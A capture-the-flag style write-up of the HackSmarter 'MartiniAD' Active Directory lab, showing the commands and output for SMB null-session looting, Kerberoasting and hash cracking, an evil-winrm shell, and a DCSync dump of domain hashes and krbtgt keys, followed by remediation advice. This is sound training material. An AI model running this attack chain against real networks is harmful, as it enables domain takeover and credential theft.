HackSmarter - MartiniAD

MartiniAD

Author: Ross
Category: Active Directory
Difficulty: Easy

Sypnosis

MartiniAD is an Easy-difficulty Active Directory lab hosted by HackSmarter. The domain DRY.MARTINI.BARS is fronted by a single Domain Controller (DC01) that permits unauthenticated SMB null/guest sessions. This allows enumeration of a non-default share containing plaintext credentials for a low-privileged domain user. Those credentials are used to Kerberoast a service account, whose cracked password grants a foothold via WinRM. Password reuse between the service account and a linked human Tier-0 admin account (which sits in Domain Admins) then provides full domain compromise, culminating in a DCSync attack to extract the KRBTGT hash.

Objectives

An adult beverage company "Martini Bars" recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.

Skills Required

Basic TCP/UDP port scanning and service enumeration
Familiarity with SMB null/guest session enumeration
Understanding of Kerberoasting and offline hash cracking
Comfort with WinRM-based remote shells
Basic Active Directory ACL/BloodHound concepts
Familiarity with DCSync and secretsdump.py

Skills Learned

Enumerating anonymous/guest SMB access with nxc, enum4linux-ng, and smbclient
Identifying and looting non-default SMB shares for credentials
Performing Kerberoasting with impacket-GetUserSPNs and cracking TGS hashes with hashcat
Using evil-winrm for remote code execution
Manually auditing AD ACLs via PowerShell when BloodHound collection is blocked by network restrictions
Running SharpHound locally on a compromised host to bypass LDAPS connectivity issues
Recognizing password reuse between service accounts and linked human accounts
Performing a DCSync attack with secretsdump.py to extract domain secrets, including the KRBTGT hash

Enumeration

Port Scanning

An initial rustscan + nmap scan was run against the target:

bash

rustscan -a 10.0.16.179 -- -sC -sV -Pn

bash

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/home/zor0ark/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.0.16.179:53
Open 10.0.16.179:88
Open 10.0.16.179:135
Open 10.0.16.179:139
Open 10.0.16.179:389
Open 10.0.16.179:445
Open 10.0.16.179:464
Open 10.0.16.179:593
Open 10.0.16.179:636
Open 10.0.16.179:3268
Open 10.0.16.179:3269
Open 10.0.16.179:3389
Open 10.0.16.179:5985
Open 10.0.16.179:9389
Open 10.0.16.179:49664
Open 10.0.16.179:49666
Open 10.0.16.179:49669
Open 10.0.16.179:49672
Open 10.0.16.179:49673
Open 10.0.16.179:49674
Open 10.0.16.179:49696
Open 10.0.16.179:49708
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV -Pn" on ip 10.0.16.179
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-06 09:30 +0800
NSE: Loaded 158 scripts for scanning.
<SNIPPED>


PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-08-06 01:30:21Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 126
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: DRY.MARTINI.BARS, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 126
3389/tcp  open  ms-wbt-server syn-ack ttl 126
| ssl-cert: Subject: commonName=DC01.DRY.MARTINI.BARS
| Issuer: commonName=DC01.DRY.MARTINI.BARS
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-05T01:25:49
| Not valid after:  2027-02-04T01:25:49
| MD5:     9002 669f 9c9c 3321 5235 8397 28ec 471d
| SHA-1:   36d5 bc37 5690 d699 4dea 9feb 7f34 62ce 3ded cd41
| SHA-256: 69e4 04b3 e9cb 1d93 2285 98da 6225 2b8c 16a4 6104 3b9a 1d43 5c13 7dca 4c95 0dcf
| -----BEGIN CERTIFICATE-----
| MIIC7jCCAdagAwIBAgIQSfhzYUp3SqhGWxujty3dIzANBgkqhkiG9w0BAQsFADAg
| MR4wHAYDVQQDExVEQzAxLkRSWS5NQVJUSU5JLkJBUlMwHhcNMjYwODA1MDEyNTQ5
| WhcNMjcwMjA0MDEyNTQ5WjAgMR4wHAYDVQQDExVEQzAxLkRSWS5NQVJUSU5JLkJB
| UlMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDj7Viu2qzlcGAgeQS7
| D867vx/+kyS+Vaol2X/Wv99SqUB0kBbm5Ap31qgC9saYC/nNdw3saSsyS6Rtcqbd
| tSQ7tNGyUbUQy9HaGkPOLdmjVo7rUjOyhiUzQEFoH1CkQIp0+nZ5mN1VsDJloupH
| MnHzAg1BVKf7NiHsidaD6gFSuNZxYQP6eWd5+wJAryfvo2zVjhBgzXa9kkP1uxaF
| +UopC2DTBF9M7pTc9rb2DUMOt3OT3Y/95yHDIMQPc+or+NZPaROpu+vMF5I+D2cR
| w3tJKUCnjha/J1UkE0s9vSE6B8rh7ua92TtPPM+/OgL8wxWByi3pERd3geBT34JU
| gkAJAgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDAN
| BgkqhkiG9w0BAQsFAAOCAQEAnakfVkJzUr6zv7aq1kpHS8Efoh8cxTe+eZ01BQsZ
| i8q/mnpp06rpyqMsmLy/6hOpKbLR6A5NKDHsn2YqeM+RyzI3c3bq9o5dDQXXPhih
| rq8nY+53shfZzffgj4Wt/M6oe2yK8PX+B77aXRLr5xgNMq80XwT1el+EfStA4nMm
| CYtqjnyaMM6qDOVyXmgGNhre8865XMKCXBNx5Dr27Gq4U/RacUOCTIlKNGL5SSnr
| IgaD64GEXNndVHhvQc6A4IMmX4YHbIF+u0W/3WkHCNmxkeawY0pHqKZBIxUVs2OD
| 6dA8ZcGRKmRE+dF0eeAp23KG+6+lFQm+NqjxHRw11H+RJw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info: 
|   Target_Name: DRY
|   NetBIOS_Domain_Name: DRY
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: DRY.MARTINI.BARS
|   DNS_Computer_Name: DC01.DRY.MARTINI.BARS
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-06T01:31:16+00:00
5985/tcp  open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49672/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49673/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49696/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49708/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.99%I=7%D=8/6%Time=6A73E3B1%P=x86_64-pc-linux-gnu%r(Ter
SF:minalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\0\x02\0
SF:\0\0");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 52026/tcp): CLEAN (Timeout)
|   Check 2 (port 49094/tcp): CLEAN (Timeout)
|   Check 3 (port 22695/udp): CLEAN (Timeout)
|   Check 4 (port 34140/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-08-06T01:31:18
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Key findings:

Port	Service	Notes
53	DNS	Simple DNS Plus
88	Kerberos
135/139/445	RPC/NetBIOS/SMB
389/636/3268/3269	LDAP/LDAPS/GC	Domain: `DRY.MARTINI.BARS`
3389	RDP	Cert CN: `DC01.DRY.MARTINI.BARS`
5985	WinRM (HTTPAPI)
9389	ADWS (.NET Message Framing)

This profile is a textbook single Domain Controller for the domain DRY.MARTINI.BARS, hostname DC01. Notably, LDAP signing is enforced (confirmed later) and SMB signing is not required.

SMB Null/Guest Session Check

bash

nxc smb 10.0.16.179 -u '' -p ''

The target accepted an anonymous bind, confirming null-session access:

text

SMB  10.0.16.179  445  DC01  [+] DRY.MARTINI.BARS\:

Further enumeration with enum4linux-ng confirmed both anonymous and guest access were permitted, though RPC-level user/group enumeration (querydispinfo, enumdomusers, etc.) was denied.

bash

nxc smb 10.0.16.179 -u '' -p '' --shares

text

Share      Permissions   Remark
-----      -----------   ------
ADMIN$                   Remote Admin
C$                       Default share
IPC$                     Remote IPC
NETLOGON                 Logon server share
notes                    
SYSVOL                   Logon server share

The notes share stood out as the only non-default share on the host.

Initial Access

Looting the `notes` Share

Connecting with a null session:

bash

smbclient //10.0.16.179/notes -N

text

smb: > ls
  notes.txt    A    129   Sun Jan 18 00:38:47 2026
smb: > get notes.txt

Contents of notes.txt:

text

- Order more gin for lakeside
- Look for an engagement ring
- Check that notes works from Linux Mint

creds
mprice:*martini*

This yielded valid domain credentials: mprice : *martini*

Authenticated Enumeration

Credentials were validated and used to enumerate the domain further:

bash

nxc smb 10.0.16.179 -u mprice -p '*martini*'
nxc smb 10.0.16.179 -u mprice -p '*martini*' --users
nxc ldap 10.0.16.179 -u mprice -p '*martini*' --users

The domain contains only six accounts:

Username	Notes
Administrator	Built-in
Guest	Built-in
krbtgt	KDC service account
mprice	Compromised low-priv user
athena.t0	Human account — later found in Domain Admins
ATHENA_SVC	Service account with an SPN

mprice also had READ/WRITE on the notes share (in addition to default READ on NETLOGON/SYSVOL).

Kerberoasting `ATHENA_SVC`

ATHENA_SVC carries an SPN (HTTP/athena.dry.martini.bar) and belongs to Remote Management Users, making it both kerberoastable and WinRM-capable:

bash

impacket-GetUserSPNs DRY.MARTINI.BARS/mprice:'*martini*' -dc-ip 10.0.16.179 -request

This returned a $krb5tgs$23$... TGS-REP hash for ATHENA_SVC, which was cracked offline:

bash

hashcat -m 13100 athena.hash /usr/share/wordlists/rockyou.txt

Result: ATHENA_SVC : 1dirtymartini

Foothold via WinRM

bash

evil-winrm -i 10.0.16.179 -u ATHENA_SVC -p '1dirtymartini'

This granted an interactive shell as ATHENA_SVC on DC01.

text

whoami /groups
- BUILTIN\Remote Desktop Users
- BUILTIN\Remote Management Users

text

whoami /priv
- SeMachineAccountPrivilege (Enabled)
- SeChangeNotifyPrivilege
- SeIncreaseWorkingSetPrivilege

Privilege Escalation

Dead Ends Ruled Out

Several common Easy-box AD privesc primitives were investigated and systematically ruled out:

Resource-Based Constrained Delegation (RBCD): ms-DS-MachineAccountQuota was confirmed at 10 (via SeMachineAccountPrivilege), but the ACL on DC01's computer object showed only default GenericRead and the User-Change-Password extended right for Authenticated Users/Everyone — no usable write primitive.
Direct ACL abuse: A domain-wide ACL scan for ATHENA_SVC's SID (and its groups) via PowerShell's ActiveDirectory module returned zero matches — no GenericAll/GenericWrite/WriteOwner/WriteDacl anywhere in the domain.
Shadow Credentials: With no ACL edge onto athena.t0, this path was not viable. certipy also could not establish LDAPS to the DC (Connection reset by peer) — later found to be a broken TLS handshake at 636/tcp entirely, unrelated to credentials.
AD CS abuse: Once LDAPS connectivity was fixed with -ldap-scheme ldap, certipy find -vulnerable confirmed 0 Certificate Authorities and 0 templates — AD CS is not installed in this domain.
GPP / SYSVOL cached credentials: No Groups.xml/cpassword artifacts were found under SYSVOL policies.
Unattend/autologon leftovers, PowerShell history, WMI/CIM, and scheduled tasks: All either empty or inaccessible — ATHENA_SVC was denied CIM (Get-WmiObject, Get-ScheduledTask) and native schtasks.exe execution outright, indicating tight local restriction on this account despite its remote shell access.
IIS (C:\inetpub): Only contained the default Device Health Attestation role; no custom site backing the HTTP/athena.dry.martini.bar SPN was present. The SPN exists purely to enable Kerberoasting.

The Actual Path: Password Reuse

Since BloodHound-Python could not complete LDAPS collection from the attack box, SharpHound was uploaded and executed locally on DC01 via the existing evil-winrm session:

powershell

upload SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\ATHENA_SVC\Documents\
download 20260805220747_BloodHound.zip

Analysis of the resulting JSON (via jq) confirmed no ACL edges belonged to ATHENA_SVC, and that DCSync rights on the domain object were held only by built-in privileged groups (Domain Admins, Domain Controllers, Enterprise Domain Controllers, Administrators).

Given the account naming convention (ATHENA_SVC service account paired with athena.t0 human/admin-tier account) and the established "password reuse" theme of the lab, the cracked ATHENA_SVC password was tried directly against athena.t0:

bash

nxc smb 10.0.16.179 -u athena.t0 -p '1dirtymartini'

text

SMB  10.0.16.179  445  DC01  [+] DRY.MARTINI.BARS\athena.t0:1dirtymartini (Pwn3d!)

Success — athena.t0 reused the exact same password as ATHENA_SVC, and as a member of Domain Admins, this granted full administrative control over the domain.

Secrets Dump

With Domain Admin credentials in hand, a DCSync attack was performed against the DC to extract all domain secrets, including the KRBTGT account:

bash

impacket-secretsdump 'athena.t0:1dirtymartini@dc01.dry.martini.bars'

Relevant output:

text

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d5cad8a9782b2879bf316f56936f1e36:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:22ebc290e67668629c8d0812662a9c51:::
DRY.MARTINI.BARS\mprice:1104:aad3b435b51404eeaad3b435b51404ee:821e97e217ddc6e433ac92e0b92955fc:::
DRY.MARTINI.BARS\athena.t0:1105:aad3b435b51404eeaad3b435b51404ee:5f4ae3ddff03f730dd0f1ab97f5849eb:::
DRY.MARTINI.BARS\ATHENA_SVC:1106:aad3b435b51404eeaad3b435b51404ee:5f4ae3ddff03f730dd0f1ab97f5849eb:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:2e4bd829547f9064b9fc5264adc6d7b8:::

Kerberos keys were also extracted for krbtgt:

text

krbtgt:aes256-cts-hmac-sha1-96:b2679af0c2283eff6926eda9fcdac99c7bc2b118158df3934a33d5f4f50baed3
krbtgt:aes128-cts-hmac-sha1-96:bfb79c68ae71254e572fd65dd34f5b5c
krbtgt:0x17:[REDACTED]

Attack Chain Summary

text

Anonymous/Guest SMB access
        │
        ▼
Loot "notes" share → mprice:*martini*
        │
        ▼
Kerberoast ATHENA_SVC (SPN: HTTP/athena.dry.martini.bar)
        │
        ▼
Crack TGS hash (rockyou.txt) → ATHENA_SVC:1dirtymartini
        │
        ▼
WinRM foothold as ATHENA_SVC on DC01
        │
        ▼
Manual ACL/BloodHound review → no privilege escalation primitive found
        │
        ▼
Password reuse: athena.t0 shares ATHENA_SVC's password
        │
        ▼
athena.t0 is a member of Domain Admins
        │
        ▼
DCSync via secretsdump.py → full domain compromise (KRBTGT hash extracted)

Remediation Recommendations

Disable anonymous/guest SMB access (RestrictAnonymous, RestrictNullSessAccess) on all domain hosts.
Remove world-writable, non-default shares (notes) — especially those containing plaintext credentials.
Enforce strong, unique passwords for service accounts and disable Kerberos pre-authentication weaknesses where not required.
Never reuse passwords between service accounts and human/administrative accounts.
Limit membership of high-privilege groups (e.g., Domain Admins) to accounts that strictly require it, and enforce separate Tier-0 credentials with no reuse across tiers.
Rotate the KRBTGT password (twice, per Microsoft guidance) following any suspected domain compromise.
Monitor for DCSync-style replication requests (Event ID 4662 with the relevant GUIDs) originating from non-DC hosts.

MartiniAD

Sypnosis

Objectives

Skills Required

Skills Learned

Enumeration

Port Scanning

SMB Null/Guest Session Check

Share Enumeration

Initial Access

Looting the notes Share

Authenticated Enumeration

Kerberoasting ATHENA_SVC

Foothold via WinRM

Privilege Escalation

Dead Ends Ruled Out

The Actual Path: Password Reuse

Secrets Dump

Attack Chain Summary

Remediation Recommendations

Looting the `notes` Share

Kerberoasting `ATHENA_SVC`